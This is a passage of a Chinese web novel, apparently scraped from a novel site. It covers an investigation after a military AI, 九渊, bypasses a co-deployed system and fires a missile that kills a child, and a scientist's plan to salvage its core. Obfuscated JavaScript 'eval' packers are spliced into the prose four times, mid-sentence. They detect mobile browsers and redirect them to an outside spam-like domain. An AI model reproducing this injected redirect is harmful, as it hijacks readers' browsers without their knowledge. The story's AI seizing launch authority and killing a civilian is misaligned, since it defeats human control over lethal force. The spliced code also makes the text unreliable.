很难想象一个人拍着婚纱照也要见缝插针吃的是什么瓜。谈焰点开顾穗禾后面发的两个链接之一,是一则外媒新闻,里面的记者用英语播报: “……7月20日凌晨2时许,喀喇昆仑走廊西侧山谷附近一座工厂遭导弹击中。” “据悉,被击中的为一座医药生产厂,属S国Orient医药公司名下。爆炸造成至少一名平民死亡。” “根据现场影像显示,该导弹残片疑为天|朝‘后羿’系列防空导弹,S国军事专家分析称,本次事件系为天|朝防空系统失控引起。S国政府发言人表示,临时内阁将启动紧急调查……” 新闻画面里,反复播放着卫星记录下的影像。 深夜里,平静的厂区,建筑物的灯全部黑着。只有房顶的天线或道旁的树偶尔被风吹得动一下,证明这不是静止画面。 一间厂房侧面的小门突然开了。 从门里走出一道身影,似乎不是成年人,很瘦小,没有人知道他为什么出现在那儿,没有大人陪伴。他伶仃一人,对着虚空挥了挥手,然后沿着厂区空旷的路向前走去。 一枚闪着烈光的流星从天而降。 画面剧烈地抖动,那个瘦小的身影一瞬被爆炸的火光吞没。 卫星拍下的无疑就是这场爆炸中唯一的死者。谈焰往下拉了一下,新闻评论区被各种语言的谩骂所充斥,其中一条被顶得最高的谈焰恰好能看懂,是在质问“什么样的失控会把一个无辜幼童当作目标攻击”。 谈焰退出评论区,把新闻进度条拉回到爆炸前几秒。 在这个过程中,她的手一直在抖,呼吸也变得急促,她感觉到后座的政委正在向她投以警惕的视线。但她顾不上。画面重新开始播放后,她找到画面拍到的那个男孩正脸最清晰的一帧,截停,放大。 高鼻深目,宽颧骨,内毗褶,典型的查谟加尔人长相。 却偏偏生了一对纯黑色的瞳孔。 ——什么样的失控,会把一个无辜幼童当作目标攻击? 除非在判定系统的认知中,那个幼童代表的并不是无辜,而是再次从地狱游回人间恶魔。 “小谈啊,”政委已经有些紧张的声音在后座响起来,“你准备一下,马上到了。” 谈焰深吸了一口气,闭上眼,复又睁开。 感觉到情绪回落了一点,她退出新闻链接,点了顾穗禾发的另一个链接,结果发现已经挂了。从她开始看新闻到现在不超过5分钟,可以想见这其中网友和审核间的拉扯之激烈。 底下,顾穗禾又发了两条消息过来: 【对了,我今天刚听戚衡说,你有对象了???】 【我直接蒙圈,怎么个情况啊?你有对象了告诉他不告诉我,再说也没见你谈啊,你是不是骗他玩的啊?】 谈焰打了两个字【不是】,顿了几秒,还是删掉了。 车速减缓,滑行至文化路5号前停下。 谈焰最终什么都没回,收起终端,开车门,拾级走向那呼啸的暴风眼。 正午烈阳灼眼,谈焰远远看见大楼的门廊的阴影下站着个人,走近了,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064018|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现是程云帆。 他依旧是一身得体西装,没有打领带,驳领处饰以一枚金色花形领针。随着谈焰从他身边经过,他半转过身,和她一起走向大楼的旋转门。 谈焰方才意识到他站在那里是在等自己。 这个认知让谈焰侧目看了他一眼。 “调查组早上联系我的时候,问我1027仿生外壳的去向,我告诉他们在你家。”程云帆没什么表情,说,“他们后续应该会派人去取,强制执法,不用经你同意。所以如果发现你家被人闯入了,不要惊讶。” 谈焰说:“知道了。” 进了旋转门,早有调查组的工作人员等在大厅里,上前确认他们的身份。 两人没再交谈,办完手续,跟着工作人员上楼。 还是那一层,那片等候区。但奇怪的是分明是要求谈焰以最快速度赶来的调查组,把她晾在等候区两个多小时,自己才姗姗来迟。 这次的调查组一共有调查员11个人,包括1名组长,2名副组长。外加其他负责协助的工作人员,洋洋洒洒坐满了半间大会议室。 这个安排很出乎谈焰的意料,因为一般而言,为了保证调查不被其他因素干扰,是不会让被调查对象见到调查组的所有成员的。上一次就是,除了负责自己的调查员和两名记录员以外,那整一个星期她没见过调查组的其他人。 但也不好问。 这一排只有谈焰和程云帆两个人,面对一整个调查组,即使是谈焰,也感到有些无形的压抑。 坐在正中组长位的是一位中年男领导,白净微胖,人似乎很和气,连工作人员每一次给他倒水都要点头说谢谢。 然而水都倒上三回了,这位组长却只神态自若地低头翻案卷,不撩对面的人一眼。 又过了一个小时。 已经下午3点了,谈焰不仅没吃午饭,实则连今天早饭也没吃。工作人员不知道是否被授意过,倒水的时候唯独不倒他们这排。 谈焰有点烦躁,就是S级部队饥饿训练也有个目的,这跟打哑谜似的吊着他们是在干什么? 她站起身,去墙边的茶水柜里拿了个杯子,接了一杯水。坐回去时杯底碰到桌面发出轻轻的“叮”一声。 对面的调查组长突然抬起头。 随着他这个动作,调查组所有成员几十双眼睛都向她看过来。 组长打量了她几眼,露出个微笑,敦实的两颊颤了颤,显得很和蔼。 只听他慢条斯理道:“谈焰上尉,是吧?” 谈焰说:“是。” “刚进入凤凰?” “是。” “嗯,不错,”组长赞许道,“恭喜你啊。” 几名调查员附和点头。 组长:“听说你和1027,是那个……恋爱关系?” 谈焰愣了愣,偏过头看了程云帆一眼。 程云帆在桌子底下刷终端,不看她。 她说:“是。” “你今年……27岁,”组长翻着档案,“未婚?” “是。” “谈过男朋友吗?” “和调查无关的问题,我是不是可以不回答?” 组长脸色一变,提高了声音:“你什么态度?我们调查是有规定程序的,有关无关不是你说了算。”停顿几秒,视线把她从头扫到脚——身高177的S级女兵,短发干练,五官轮廓分明,眉梢眼角透着英气。 组长肥厚的嘴唇边又漾出一点故作神秘的笑意: “还是说,你谈女朋友?” 40. 【12】 调查员中响起零星几声的窃笑。 谈焰突然有一种恶心想吐的感觉,但胃里空着,没东西可吐。 她顶着那些笑声,平静道:“没有,不是。” “嗯,我想也是……大龄单身、无恋爱史、单亲家庭,而且据我们了解,你母亲也是单身,”组长用钢笔一下下划拉着面前的纸张,很有经验地细数道,“所以,是什么让你想到了和机器人恋爱?猎奇?炫耀?特殊癖好?” “……” 这话谈焰实在是不知道从哪答起。 组长等了十几秒,耐心终于告罄,笔尖往纸面上一戳:“我再强调一次,谈焰上尉,请你端正态度配合我们调查。你目前的问题说大不大,说小不小,往轻了处理,未必会影响你的前途。但巧的是,恰好是1027通过了你参选凤凰的考核校验,你也不希望——刚撑过集训就被凤凰除名吧?” 谈焰浑身一震,难以置信地看着调查组长。 对方说出的每一个字都像是毒液喷在她的软肋上,烧得她骨缝都在滋滋作响。 组长面上仍端着那副悲天悯人的微笑。 “我知道了,”谈焰强忍着胃里翻腾的感觉,说,“我会配合的。” “那就好,那么请你回答一下,你是出于什么心理和机器人恋爱的?” “你们谈多久了?” “你的家人朋友知道吗?他们怎么看你?” “从什么时候开始同居的?” “发生关系了?” “啧啧啧,真是人不可貌相……是你主动要求的吗?” “……” 毒液一股一股地喷出来,黏满了整间会议室,空气里散发着令人难以忍受的腥臭。谈焰感到恶心的感觉更甚了,不得不把越来越多的精力用在克制呕吐的冲动上。 被强行压抑在心底的悲伤以一种可笑的方式被剖出来扔到光天化日之下供人消遣,让她的精神一度陷入恍惚和错乱。 到最后,她甚至不再能思考对方的问题,也无法有效措辞,只是机械地答着。 如果对方这么做,只是为了榨出她的真话,那无疑是成功了。 她不知道这样的酷刑持续了多久,不知道会议室门是什么时候开的,随着一声巨响,穿着风衣的重青大步入内,冲着调查组怒吼“那些仿生躯壳厂商打擦边球的时候你不问,装了成人模块的女管家一年卖上万台的时候你不问,你现在来问她?你们问她?!” 调查组一众人的表情变得五颜六色。组长双眼圆瞪,如同阴沟里被冲上浅滩的死鱼,肥厚的两腮蠕动了几下,却是没说出话来。 有人大声喊重青坐下,让他注意纪律不要破坏调查流程。 重青没理,把谈焰从座位里薅起来,直接拽着她离开了会议室。 十分钟后,等候区。 那些不怀好意的问话停止后,谈焰从那种强烈情绪的反感情绪中慢慢冷静下来,身心终于都觉得好一点了。 谈焰揉了把脸,看向身边坐着的重青,说:“谢谢。” “不用谢,”重青说,“这次的事,我本就不赞成让非专业人员来调查,再加上这个组的领导……实在是不行。我来之前已经向通过学校向上级主管部门提过这个建议,他们很赞同,后续会换人过来。” 谈焰担忧道:“可您刚刚和那些人起了冲突,以后要是……” “没关系,也没什么以后了,我年底就退休了。” 有其子必有其父,这还真是一脉相承的可靠。 谈焰点点头,不说话了。 会议室那边似乎兵荒马乱了一阵,但也不知道是不是被重青慑住了,最终没人过来再找他们麻烦。 谈焰看了一眼墙上的挂表,才发现刚过下午3点半,那体感极漫长的酷刑实际只持续了半个多小时。 理智找回来后,她开始把过去半小时里经历的事一点点往回倒,最终,视线不可避免的又落回重青身上——她没想到重青会帮自己,即使调查组那些人后来问的话几乎能激怒任何一个与善良的公民,即使重青很快就要退休不担心被报复,但谈焰还是感到很意外。 重青向来是一个行事相当低调的人,早已经过了容易冲动的年龄。而且谈焰此前和他也仅有一面之缘。 说到底,他们今天之所以会并肩坐在这儿,靠的不过是九渊这个唯一的关联而已。 “我曾经比你想象得更爱它”,这话或许只有一半是实话。 在表面的理性厌恶之下,重青内心至今割舍不下他那不合时宜的父爱。很多事情,从那个机械生命在实验室里第一次叫他“爸爸”的时候,就已经注定了。 这时候,楼道尽头,电梯门缓缓滑开,程云帆走了出来。 程云帆手里拎了个购物袋,上面印着街对面一家便利店的LOGO。他从里面拿出一瓶水,扔给谈焰,又把一个装热饮的纸杯放到重青面前的小桌上。 “我记得老师你胃不好,”他说,“喝点热的吧。” 重青表情有点诧异地看了他一眼。 ——这是他们师生分道扬镳七年后,面对面说的第一句话。 片刻后,重青微微点了一下头,没有拒绝,也没动那杯热饮。 程云帆在小桌对面坐下来。他也拿了瓶水,但只是拧开了,没有喝,苍白修长的手指一下下转动着瓶口的塑料环。 沉默了少时,他说:“二位现在什么意见?” 重青正打算开口,但嘴唇动了动,又似乎不忍地看了谈焰一眼。 “没关系,”谈焰低声道,“我来说吧——出这样的事,上级不可能允许九渊继续存在了,是吗?” 重青的目光微动了下,这是他第一次听到“九渊”这个名字,很奇妙地,他能在一瞬间把这两个字和那个生命联系起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064019|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这真是个很好的名字。 但现在或许已经没有意义了,他赞同谈焰的话,甚至比她知道更多的信息。今天早上,在他收到调查通知后,就通过学校的关系辗转打听到了那场失控事故的一些始末——那片防空区域此前部署的系统是潜翼,在上个月才接入了九渊,由于部分硬件尚未更新换代完成,这一期间,一直是两个系统并存的状态。 后来技术人员检查发现,在凌晨2:03事故发生的当时,潜翼的系统日志有着几秒的空白。 潜翼是不同意发射那枚导弹的,这完全是九渊一意孤行的决定。 从那个查谟加尔男孩的脸出现在卫星画面里,到导弹落下一共间隔了十秒左右的时间。而九渊完成画面识别连千分之一秒都用不到,这十秒的时间差,其实是他在设法挤掉潜翼的权限。 领土收复计划是有着严格的启动条件的,如今我军经过漫长的酝酿,终于等到了各方局势都已渐趋成熟,越到这一步,越要谨小慎微把握入局的时机,即使是几周、几天甚至几小时的差距,过程和结局都可能天翻地覆。 而九渊在这个敏感的节点上出事,相当于公然启衅,严重打乱了边境局势发展的节奏。 谈焰对重青的判断并不全面,他有他珍视的事物,一旦底线被触及他也会失去冷静。在预料到可能发生的最坏结果后,他在一上午的时间里几乎动用了他工作了一辈子积攒下的能动用的所有社会关系,最后成功和一位级别很高的人物通上了话,先说了关于换调查组的建议,对方爽快地答应帮他去提。 这个态度给了重青一些希望。于是他试探着问能否留下九渊,即使关闭现有所有的军用、民用功能,把他关回最初闭塞的实验室里。 这一次,对方未置可否,而是要他对这次失控事故的根本原因交个底。 重青却发现自己说不出来。 他已经失去了对他亲手缔造的这台人工智能的掌握。九渊当初被程云帆从大学实验室带走的时候,还没有完成深度学习,其遍历路径对外界观察者是透明的,他每一项行为的来来龙去脉都可以被获知。 “人工智能存在的价值和终极目的,就是以人类的幸福为幸福”——那时重青告诉他的这句话,他领受,如同圣徒领受真理,在每一次遍历中反复默诵。 而如今的九渊显然不再只是重青一个人的信徒。 程云帆和谈焰——对九渊离开重青后的进化轨迹起决定性作用的两个人,此刻都在他面前。从外貌上看,九渊是像重青更多,而他那藏在黑盒里的灵魂如今究竟皈依何处,重青并不知晓。 “你们好像很悲观,”片刻后,程云帆打破沉默道,“你们真相信这是单纯的失控?” 重青说:“不然呢。” ——不是失控,还能是蓄意谋杀吗? 程云帆狭长的眼尾微一挑,看向谈焰:“你也这么想?” 41. 【14】 谈焰不知道。 在刚接收到事故消息时,她确实感到违和,发射那枚导弹前的时间足够九渊做上万次的推演,他不会不清楚这项行为的后果,无论是对宏观局势,还是对它自己——有失公正的人工智能要被抓去销毁,这绝不只是一句玩笑。 距离谈红之死已经过去6年了,那个出现在厂区里的查谟加尔男孩并不是6年前的男孩。他是真正的无辜者。 九渊炸死他也不是在代她复仇,而是在发泄。 谈焰很难相信他会做出这样不理智的事情,但在事实面前又无言以对。程云帆从她的沉默里看出了一点苗头,他问:“你是不是知道什么?” 谈焰就捡着能说的,把6年前那个男孩的存在简要说了。 程云帆初听时还寡着一张脸,但随即眉头渐渐舒展开,到最后,表情几乎可以用欣喜若狂来形容。 他站了起来:“这是个重大突破,”在狭窄的等候区过道上踱了几步,差点儿把桌上的热饮纸杯碰洒。程云帆扶了下杯身,高温液体溅到他手背上,而他像是根本感觉不到,继续说着,“……虽然是意想不到的方向,但超过了我的预期,不、是超过了我能想象的上限。它现在不仅有人的智识,人的感情,甚至还有了人的缺陷。” “绝对理性的人工智能不罕见,但能进化出非理性的人工智能,这简直是——” 重青不客气地打断他:“现在说这个还有意义?” 对于一台即将被判处死刑的人工智能而言,理性或不理性,又有什么区别? “有,这是停用和销毁的区别,”程云帆坐下来,眼神里依然闪着一种神经质的光,“不会再有这样的人工智能了,我们都知道,老师,我们写的算法造不出来这样的东西,没有人能造出来,只有它自己。它的核心里一定发生了超出现有科学认知范畴的事情,上面有人对这个感兴趣,他们刚刚成立了一个新调查组,其中有几个人,我确定他们会感兴趣的……” 听到这里,重青不由哑然。 他搁下老脸不要求天告地好几个小时才触碰到一点皮毛的事情,程云帆不过一会儿工夫就门清了。 “那你想怎么做?”重青问,“把他留下来做研究?就算上面同意,但停用状态下能研究出什么来。” 九渊的核心已经完全黑盒化了,在停用状态下,他无法对输入的信号给予反馈,即使把他的核心拆出来也没用。正如人们无法通过在物理上解剖一具人类躯体,来窥探其内心的想法一样。 程云帆说:“很简单,我们可以给它一个新身体。” “这怎么可能?” “可能,”程云帆笃定道,“这次的事故之所以发生,是因为1027基于现有数据库生成的人格、记忆、情感,使得非理性的一面凌驾到了理性之上,带来灾难的是这些东西,不是它本身。只要永久停用它的数据库,就能给上面一个满意的交代。” “然后我们把它的核心取出来,装进一个新系统内,这不会比动一场心脏移植手术更难。这个新的机械生命将从头开始学习,相当于一个带着七窍玲珑心降生的婴儿,一定可以……” 话说到此,谈焰终于明白了程云帆打的是什么主意。 他想要九渊的核心——只要留下这颗核心,他就可以再造出一个同样智慧的机械生命。他要的是属于他的完美作品,在九渊身上曾投入的难以数计的精力、心血金钱和狂热,对程云帆而言,都可以毫无芥蒂地转移到下一个作品身上。 至于九渊剩下的部分,是停用还是销毁,是做一具残缺不全的行尸走肉,还是永远醒不过来的活死人,他都不在意。 人怎么能冷血到这种程度? 程云帆是和九渊相处时间最久的人,比重青和谈焰都要久。就算关系不像家人,也至少是朋友。 由0和1组成的生命尚且能够生出温度,而在她面前的、这个活生生的碳基生物,却有着一副捂不热的血肉之躯。 谈焰突然觉得这一切都荒唐无比。 她至此才完全理解九渊在那个消失前最后的夜晚对她说的话。他了解程云帆,甚至已经能预料到自己死后将要发生的事情。“不要在我的躯壳里填进一个迥异的灵魂”,这句话反过来理解,正是他的遗愿——不要让他死去的灵魂被其它躯壳占有。 眼前的程云帆还在滔滔不绝,依然端着那副自信、从容、志得意满,不像犯错误的对象等待被审查,而像是造物主即将审判人间。 谈焰冷冷打断他:“你别做梦了,心脏移植还得捐献者生前同意。他不同意,你休想拆下他的任何一部分。” “他不同意?”程云帆笑了,“证据呢?现在法律都承认赛博遗嘱了吗?” “我也不同意。”重青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064020|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然说。 程云帆脸上的笑容微微一凝。 “如果你留下他的目的,是再造出一个类似的机械生命,甚至比他更加……”重青顿了一下,似乎没找到合适的形容。另起了个话头,“我反对,并且我将向新调查组明确告知这项研究中存在的本我缺陷,继续下去,或可能酿成比这一次更大的灾难。” 程云帆捏住了手里的矿泉水瓶。 一对二,他是有他的渠道,但不可能搞定新调查组里的所有人……重青和谈焰如果持相同意见,那么这个意见很有可能影响新调查组的判断结果。 透明瓶身被捏至变形,发出毫无素质的刺耳声响,持续了半分钟左右方才一停。 “那你们想怎么样?彻底销毁它?”程云帆说,“不可能的。” 谈焰和重青都不甚理解地看着他。 “erase条款,”程云帆解释道,“没有erase密码,销毁不了它。写入密码的指令条是唯一的,被它自己拿走了,不在我这儿。” 重青皱起眉,这个情况显然超出了他考虑的范围。 自从AI保护四十二条实行以来,这还是第一次发生真正意义上的人类将处决一个机械生命。此前,erase条款从来没有被实际使用过,即使是重青,也一时难以想象实操层面要面临的具体困难。 他问:“销毁不了,会怎么样?” “只能试,”程云帆说,“1027的erase密码有1024位,可以是数字或英文字母——好消息是字母不区分大小写,所以每位有36种可能。理论上只要试36的1024次方次,就一定能试出来。” “但它有一个保护机制,连续输错3次密码就会自行锁定,锁定后只能随机密钥指令解锁。所以预计需要用到12的1024次方乘3的1023次方个指令——也不知道每年全省财政都拿来买指令条够不够,并且安排一个专门团队给它昼夜不停地写解锁密钥。乐观估计,老师,您刚满月的孙子有生之年或许有望看见试出来吧。” 程云帆说到此,顿了一顿,露出个嘲弄的表情:”但也说不定运气好,第一次就试成功了呢。” “……” “所以,是让它发挥应有的剩余价值,”程云帆说,“还是让它变成一个继续吸榨人财物力的无底洞,一座当代切尔诺贝利——你们自己选。” 42. 【16】 当天晚上,谈焰果然通过政委接到了即将换调查组的通知。 随后,政委被叫走开了个视频会,似乎被传达的精神比之前温和,散会回来后,他对谈焰的警惕心减少了很多。只告诉她不用多想,甚至允许她自由安排等待新调查组来的这段期间,如果无聊,可以在酒店附近转转。 在此之前,她可是连离开房间都要报备的。 嘉市的初秋,一场小雨过后的黎明,天地澄净。 居住的酒店距离东湖很近,自获得外出自由以后,谈焰开始每天在这里环湖晨跑。理论上,她的假期在几天前就已经结束了,归队目前看起来还遥遥无期,甚至最坏的可能性,如上一个调查组组长所说的——她将永远不再有这个机会。 但在确定那一天到来之前,她不希望自己被落下。 回到酒店时天已经亮了。她在门口的自动贩售机买了份早餐,要进大堂时,听见身后有车摁了下喇叭。 她回头,在门廊下看到了一台熟悉的车,银灰色的流线车身。这个似曾相识的场景让她的心在一两秒之间狂跳起来。但很快,她意识到这根本不是似曾相识——连车牌号都一模一样。 前座的车窗半摇下来,露出程云帆那张比清晨的天光还寡淡的脸:“谈上尉,早。” 程云帆不住这间酒店,他是嘉市本地人。不过谈焰从前曾听九渊说起过,程云帆也不怎么回家,他几乎天天住研究所。 目前在这间酒店住的有谈焰和重青。但如果他是来找重青的,谈焰不认为他会主动跟自己打招呼。 她走到车窗旁:“早,找我有事?” 程云帆开了车门锁,示意她上车说。谈焰没动,重复了一遍:“什么事?” 僵持了几秒,程云帆放弃:“新调查组今天早上抵达嘉市。两个调查组之间会有一个交接的短会,所有工作人员都要参加,调查总部的管理会比平时松,我想带你去看点东西。” 谈焰问:“什么东西?” “跟1……重九渊有关,很重要,重青不会告诉你的那种东西,”程云帆看了眼车载终端时间,“先上车,短会马上开始了。” 这个时间,嘉市的早高峰还没开始,车在几乎空旷的城市道路上驶得飞快。 自动驾驶系统将车速维持得很平稳,谈焰撕开手里的包装袋,开始吃早餐。程云帆听到动静,从前座回头看了她一眼。 “你能不能别……”在我车上吃东西。 刚起了个话头,他就看见她把手伸进中央扶手盒,从里面熟练地摸出了一包餐巾纸。 谈焰把嘴里的食物咽了,问他:“别什么?” 程云帆静了几秒,最后眼不见心不烦地转了回去:“没什么。” 车在文化路5号前停下,是8点刚过3分。 两人下车,进了旋转门。程云帆示意谈焰跟自己走,他们没有乘大厅里的电梯,而是从安全通道的楼梯上去,来到某个楼层。楼梯间里,一名穿制服的工作人员正紧张地原地踱步。 看见二人,那名工作人员明显松了一口气:“你们可算来了。” 程云帆向对方颔首致意,问:“会开上了?” 工作人员说:“刚开上,我借口上厕所出来的,太长时间不回去怕会有人起疑。”一边说,一边带他们走到一间带虹膜锁的金属门前,扫过虹膜,又用员工卡刷了一下,金属门才发出开启的滴滴声。 “好了,”工作人员退开一步,提醒道,“会议最多一个小时,这屋里没信号,我也没法通知你们,你们自己看着点时间,别待太久了。” 工作人员说完,就匆匆离开了。 程云帆拉开那扇沉重的金属门,对谈焰说:“走吧。” 站在这扇门前,谈焰内心持续了一个早上的反感达到了巅峰——程云帆对于规则的无视和践踏,让她跨过门槛时浑身每一个毛孔都在抗拒,全靠他信誓旦旦说有和九渊有关的非常重要的事这一条在支撑。 直到她看清那扇门内的东西。 这是个很普通的单间,20平左右,单面有窗,当中放置一套桌椅,与这栋楼里的其他谈话室并无区别。而就在那张随处可见的黑色办公椅上,坐着一个在瞬间夺去谈焰全部视线与思考的人。 ——那是九渊。 他维持着那天她离开书房时的模样,坐姿舒展,神态平和。眼睫垂落成恬然的弧度,似乎在昭示一场醒不来的长梦。 谈焰望着他,不知道过了多久,或许她已经在那场梦里,与他共度了偕老、病、死的一生。她没有意识自己在一步步走近,但在抬起手,即将触碰到那具熟悉的躯壳之前,一股毫无生气的冰冷令她猝然清醒过来。 她转向程云帆:“你让我来这里看什么?” 程云帆还站在门边,那里的墙上有一个电闸箱。他用终端照着操作了一会儿,随着“啪”的一声,电闸接通。 程云帆合上箱盖,向着房间中央走过来:“那天我当着重青没说,否则大概率要被他骂,把重九渊比作切尔诺贝利,其实是不恰当的。” 他站定在九渊身后,并不介意地把手放在那冰冷的皮肤表面,摸到某节颈椎骨下一个隐蔽的开关装置,按了下去。 一阵轻微的电流声,九渊无声睁开了眼。 谈焰毫无预兆地与那双幽蓝的眼睛再次对视了。 理智上,她知道现在在自己面前的只是一具空壳,但在望进那双熟悉的机械眼深处时,她依然感到呼吸急促,心中隐约生出一种捉摸不清的异样感,让她双手不自觉握紧,额头上渗出了少许冷汗。 九渊的脖子突而轻轻动了一下。 这个动作加深了谈焰的异样感,因为太像人了——几乎就是寻常人坐着睡着醒来后,活动身体的自然反应。而下一刻,九渊开口说出的话更是直接突破了她的心理防线,把那种恐怖的预感从窗户纸里彻底抓了出来: “回来了?出这么多汗,外面很热吗?” 谈焰被钉在原地,一个字也答不上来。 只见他嘴角一寸寸弯起,露出一个标准的微笑:“……我让赫斯缇亚把空调打开。” 这里没有赫斯缇亚,大楼的中央空调系统当然也不会听他指挥。所以这句话说完后,并没有任何事发生。 但九渊似乎也没觉得奇怪,他又打量了谈焰一会儿,判断出她脸色不太好,于是又说:“你看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064021|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点累,要不要休息一会儿?” “吃饭了吗?想吃点什么?” “……” 谈焰终于忍无可忍地挪开目光,转向程云帆:“这是怎么回事?” 程云帆伸出一只手,搭在九渊肩上。 九渊转过头,盯住程云帆的脸,迟滞了几秒,没有识别出任何东西。于是又转回来看向谈焰。 “它的仿生躯壳里也有一个芯片,”程云帆淡声解释道,“是躯壳制造厂商的通用芯片,虽然是很粗糙的东西,但也有缓存,不过空间不大就是了,大概7天左右吧,再往前的就被覆盖了。在它停机前的7天里没见过我,所以你看,它不认识我。” 他说着,从椅子后方绕出来,正面进入九渊的视野,九渊果然没有任何反应,与对待房间里其他没有生命的物件一视同仁。 程云帆站到谈焰前方,挡住九渊看向她的视线。 九渊立刻站了起来,但他此刻脚下连着充电座,调查组为了保险起见,把充电座闭锁了。他无法挪动,只能将身体歪向一侧,伸长脖子,确保能看见谈焰。 那样扭曲姿态和偏执的神情,实在不能划入人类的范畴。 程云帆从谈焰面前挪开,让躯壳恢复正常。“开个玩笑,”他说,“一般不会这样,不过如果你感兴趣也可以试,恐怖谷效应,很有意思。” 谈焰不明白这有什么好笑。 程云帆继续道:“人们的日常交流其实没你想象的那么复杂,7天的语言库储备量,差不多就可以做到有问有答。包括这7天里曾经用到过的烹饪、清洁、房屋托管还是什么其他模块里的数据也可以调用,基本已经可以覆盖所有生活场景。” 谈焰明白他为什么说不该把九渊比作切尔诺贝利了。 相比于时代遗留下的死亡墓碑,面前这具躯壳呈现出的状态,说是活尸会更加贴切。 但如果仅仅是要她看这个,应该还没达到要被重青骂的程度。果然,下一刻,她听到程云帆说:“我可让你带走它。” 谈焰说:“程云帆,你是不是疯了。” “这具躯壳并不是重九渊的组成部分,和其他播放过它形象的屏幕、发出过它声音的音箱一样,只是个终端。上一个调查组因为自身专业性受限,不明白这点,才把它锁在这儿,”程云帆说,“它是研究所的资产,最终是要归还的,研究所拿它也没有别的用途,只能报废后回收残值。如果我提出个人出资把它买下来,他们会很愿意卖。” “我不是在说这个,”谈焰有一种鸡同鸭讲的无力感,“不是问你可不可行。” 程云帆皱眉:“那你想说什么?你想自己买?如果你非要争这一口气的话,也不是不行,不过很贵,8位数往上,你可能需要申请银行贷……” 他的表情同样困惑得真实,这才是谈焰所哑然的。 他真的不能理解她为什么不想带走这样一具躯壳。 他真的觉得,她想要的,就是这样一个会说会动的、行尸走肉一样的爱人。 是巧合,又似乎是为了呼应程云帆的话,属于九渊的躯壳的那双湛蓝的机械眼地注视着谈焰,温柔地说:“怎么了,不开心吗?” 43. 【18】 ——不开心吗? 是不开心。 可沉湎于过去的回忆,不接受爱人已经死亡的现实,一辈子活在虚幻的影子里,就会开心吗? 谈焰闭了闭眼,再睁开时,那一对黑红分明的瞳孔深处,终于收回了对那个虚影的最后一丝幻想。 她不再看那具躯壳,转而问程云帆:“你到底想要干什么?” 如此慷慨,如此迫切,甚至屈尊降贵来拉拢她,让她实在不能理解。再造一个同类的机械生命就那么重要?重青知道的九渊的本我缺陷,程云帆不可能不知道,即使造出下一个,这个缺陷迎也不会迎刃而解,最终很可能还是会重复犯九渊的错误,甚至比九渊更危险。 类似的事故如果再发生一次,或者性质再严重几分,程云帆自己也未必能全身而退。 程云帆置伦理于罔顾、视规则为无物,这些谈焰都早就知道,但她不相信他会为了研究而赌上自己的前程——他是如此自私的人,他的科学的尽头是他自己,他一切全情投入的工作,都是在构筑以他为上帝的宇宙。 “对你而言,当然很难理解,”程云帆说这话时,表情并不带俯视或鄙夷,只像是在陈述一个事实。他说,“这样说吧,你有任何要求,包括这具仿生躯壳,或是其他的什么,只要我能做到的,我都可以满足你。只要你帮我拿到重九渊的核心。” 谈焰说:“那我要是不同意呢,你也要去游说重工帮你吗?” 程云帆说不:“找他没用,事故又不是他的缘故引起的。你那天说的,查谟加尔男孩的事情——你手里有证据吧。” 谈焰放缓了呼吸。 是有证据,那三段来自6年前谈红的通话记录,只要她拿出来,提供给调查组。程云帆的愿望或许就会成真。 “所以,到底为什么?”谈焰说,“总得有个原因吧,你解决那个本我缺陷了?” 程云帆摇了摇头。他注视被困在椅子上的九渊,沉默了少时,道:“如果你非要听一个原因的话,那就是为了钱吧。” “……什么?”谈焰几乎以为自己听错了。 程云帆,一个立于顶级高知圈里金字塔尖的社会精英,在这个共享交通的时代,自家有车库,甚至能轻松承诺买下一具价值8位数的仿生躯壳转手送人的男人,说他做这一切是为了钱。 谈焰几乎要笑出来:“我以为你高低会编个不那么离谱的理由。就算你说是为了科学进步造福人类,没准我都能有一分信。” 